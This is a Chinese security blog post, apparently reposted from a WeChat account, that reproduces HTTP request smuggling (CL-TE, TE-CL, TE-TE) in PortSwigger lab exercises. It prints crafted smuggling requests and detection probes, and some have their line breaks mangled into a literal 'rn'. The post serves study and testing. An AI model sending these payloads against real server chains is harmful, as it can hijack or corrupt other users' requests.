『漏洞复现』请求走私漏洞

admin 2023年7月12日20:30:58评论69 views字数 6755阅读22分31秒阅读模式
『漏洞复现』请求走私漏洞

点击蓝字,关注我们


日期:2023-07-12
作者:yukong
介绍:一次请求走私漏洞的学习与实践。

0x00 前言

当前端服务器HTTP 请求转发到后端服务器时,通常会通过同一个后端网络连接发送多个请求,因为这样效率更高且性能更高。协议非常简单:一个接一个地发送HTTP请求,接收服务器解析HTTP请求头来确定一个请求从哪里结束,下一个请求从哪里开始:

『漏洞复现』请求走私漏洞

在这种情况下,前端和后端系统就请求之间的边界达成一致至关重要。否则,攻击者可能会发送一个模棱两可的请求,该请求会被前端和后端系统以不同的方式解释:

『漏洞复现』请求走私漏洞

在这里,攻击者导致他们的部分前端请求被后端服务器解释为下一个请求的开始。它有效地放在下一个请求之前,因此会干扰应用程序处理该请求的方式。这种请求走私攻击,可能会造成毁灭性的后果。

『漏洞复现』请求走私漏洞

0x01 请求走私漏洞产生原因

大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Length标头Transfer-Encoding标头。

Content-Length标头:它指定消息体的以字节为单位的长度。例如:

POST /search HTTP/1.1Host: normal-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11
q=smuggling

Transfer-Encoding标头可用于指定消息正文使用分块编码。这意味着消息正文包含一个或多个数据块。每个块由以字节为单位的块大小(以十六进制表示)、后跟换行符和块内容组成。消息以大小为零的块终止。例如:

POST /search HTTP/1.1Host: normal-website.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunked
bq=smuggling0

由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此一条消息可能会同时使用这两种方法,从而导致它们相互冲突。HTTP 规范试图通过声明如果 Content-LengthTransfer-Encoding标头都存在,则应忽略Content-Length标头来防止出现此问题。当只有一个服务器在运行时,这可能足以避免歧义,但当两个或多个服务器链接在一起时就不行了。在这种情况下,出现问题的原因有两个:

  • 某些服务器不支持Transfer-Encoding请求中的标头。
  • Transfer-Encoding如果以某种方式混淆了标头,则可以诱导 某些支持标头的服务器不处理它。

如果前端和后端服务器对(可能混淆的)Transfer-Encoding 标头的行为不同,那么它们可能不同意连续请求之间的边界,从而导致请求走私漏洞。

0x02 请求走私漏洞类型介绍以及利用

接下来会通过portswigger中的请求走私漏洞靶场对请求走私漏洞进行更详细的介绍和利用。以下为Content-Length简称为CLTransfer-Encoding简称为TE

2.1 CL不为0的GET请求

(1)前端代理服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体,则后端服务器会忽略掉GET请求中的Content-Length,不进行处理,从而导致请求走私,代码演示如下:

GET / HTTP/1.1rnHost: example.comrnContent-Length: 44rn
GET / secret HTTP/1.1rnHost: example.comrnrn

(2)前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求。

2.2 CL-CL

(1)假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端服务器按照第二个Content-Length的值进行处理。这样有可能引发请求走私。

POST / HTTP/1.1rnHost: example.comrnContent-Length: 8rnContent-Length: 7rn
12345rna

(2)前端代理服务器获取的数据包长度为 8,将以上数据包完整转发至后端服务器,但后端服务器仅接收长度为7的数据包。因此读取前7个字符后,后端服务器认为本次请求已经读取完毕,然后返回响应。

(3)但此时缓冲区仍留下一个a,对于后端服务器来讲,这个a是下一个请求的一部分,但没传输完毕。如果此时传来一个请求:

GET / HTTP/1.1HOST: test.com

(4)那么前端服务器和后端服务器将重用TCP连接,使后端实际接收的请求为:

aGET / HTTP/1.1HOST: test.com

2.3 CL-TE


CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

chunk传输数据格式如下,其中size的值由16进制表示:

[chunk size][rn][chunk data][rn][chunk size][rn][chunk data][rn][chunk size = 0][rn][rn]

实验地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

(1)构造数据包:

POST / HTTP/1.1rnHost: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.netrnUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rnAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnConnection: keep-alivernContent-Length: 6rnTransfer-Encoding: chunkedrnrn0rnrnG

(2)连续发送几次请求可以获得响应:

『漏洞复现』请求走私漏洞

(3)由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

0rnrnG

(4)当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0rnrn时,认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

GPOST / HTTP/1.1rnHost: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.netrn......

2.4 TE-CL


TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

实验地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

(1)构造数据包:

POST / HTTP/1.1rnHost: acf41f441edb9dc9806dca7b00000035.web-security-academy.netrnUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rnAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnContent-Length: 4rnTransfer-Encoding: chunkedrnrn12rnGPOST / HTTP/1.1rnrn0rnrn
『漏洞复现』请求走私漏洞

(2)由于前端服务器处理Transfer-Encoding,当其读取到0rnrn时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12rn之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

GPOST / HTTP/1.1rnrn0rnrn

2.5 TE-TE


TE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL

实验地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

(1)构造数据包

POST / HTTP/1.1rnHost: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.netrnUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rnAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnCookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8rnContent-length: 4rnTransfer-Encoding: chunkedrnTransfer-encoding: cowrnrn5crnGPOST / HTTP/1.1rnContent-Type: application/x-www-form-urlencodedrnContent-Length: 15rnrnx=1rn0rnrn
『漏洞复现』请求走私漏洞

需要rnrn在后面加上尾随序列 0

0x03 HTTP请求走私漏洞检测方式

3.1 计时技术检测CL-TE漏洞

(1)如果应用程序容易受到请求走私的CL-TE变体的攻击,则发送如下所示的请求通常会导致时间延迟:

POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 7
1A1X

(2)由于前端服务器使用Content-Length标头,因此它将仅转发此请求的一部分,而忽略X。后端服务器使用Transfer-Encoding标头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟。

3.2 计时技术检测TE-CL漏洞

(1)如果应用程序容易受到TE-CL变种的请求走私攻击,则发送如下所示的请求通常会导致时间延迟:

POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 6
0
X

(2)由于前端服务器使用Transfer-Encoding标头,因此它将仅转发此请求的一部分,而忽略X。后端服务器使用Content-Length标头,期望消息正文中有更多内容,然后等待其余内容到达。这将导致明显的时间延迟。

『漏洞复现』请求走私漏洞

(3)如果应用程序容易受到该漏洞的CL-TE变体的攻击,则基于时间的TE-CL漏洞测试可能会破坏其他应用程序用户。因此,要隐身并最大程度地减少中断,应该首先使用CL-TE测试,只有在第一个测试失败的情况下才继续进行TE-CL测试。

3.3 差异响应检测CL-TE漏洞

(1)构造数据包:

POST / HTTP/1.1Host: 0a8b00ea03ae99e98384238a0087000e.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeReferer: https://0a8b00ea03ae99e98384238a0087000e.web-security-academy.net/Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Content-Length: 23Transfer-Encoding: chunked
0
POST /404 HTTP/1.1

(2)如果攻击成功,则后端服务器会将此请求的最后两行视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示:

POST /404 HTTP/1.1

(3)由于此请求现在包含无效的URL,因此服务器将以状态代码404进行响应,攻击请求确实对其进行了干扰。如下图:

『漏洞复现』请求走私漏洞

3.4 差异响应检测TE-CL漏洞

(1)构造如下请求包 (需要rnrnfinal 后面加上尾随序列0):

POST / HTTP/1.1Host: 0ad600ed03a42efb80952b65007a003a.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0Content-Type: application/x-www-form-urlencodedConnection: keep-aliveContent-Length: 4Transfer-Encoding: chunked
5cGPOST / HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 15
x=10

(2)如果攻击成功,则后端服务器将从GPOST / HTTP/1.1开始将所有内容视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示:

『漏洞复现』请求走私漏洞

0x04 请求走私工具分享

请求走私工具:https://github.com/anshumanpattnaik/http-request-smuggling

『漏洞复现』请求走私漏洞

0x05 总结

当今的 Web 应用程序经常在用户和最终应用程序逻辑之间使用 HTTP 服务器链。用户将请求发送到前端服务器(有时称为负载平衡器或反向代理),此服务器将请求转发到一个或多个后端服务器。这种类型的体系结构在现代基于云的应用程序中越来越普遍,因此测试过程中请求走私漏洞往往会带来意想不到收获。

参考文章

https://portswigger.net/web-security/request-smuggling
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

原文始发于微信公众号(宸极实验室):『漏洞复现』请求走私漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日20:30:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『漏洞复现』请求走私漏洞http://cn-sec.com/archives/1870687.html

发表评论

匿名网友 填写信息